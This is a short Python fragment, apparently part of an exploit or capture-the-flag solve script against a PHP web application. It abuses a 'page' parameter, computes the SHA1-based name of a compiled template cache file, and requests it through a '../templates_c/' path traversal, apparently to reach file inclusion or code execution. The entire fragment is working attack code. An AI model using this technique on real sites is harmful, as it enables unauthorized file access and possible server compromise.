w1 = requests.get(URL + "?page=" + quote(target_file))
print(w1.status_code)
print(w1.text)

filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file

w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)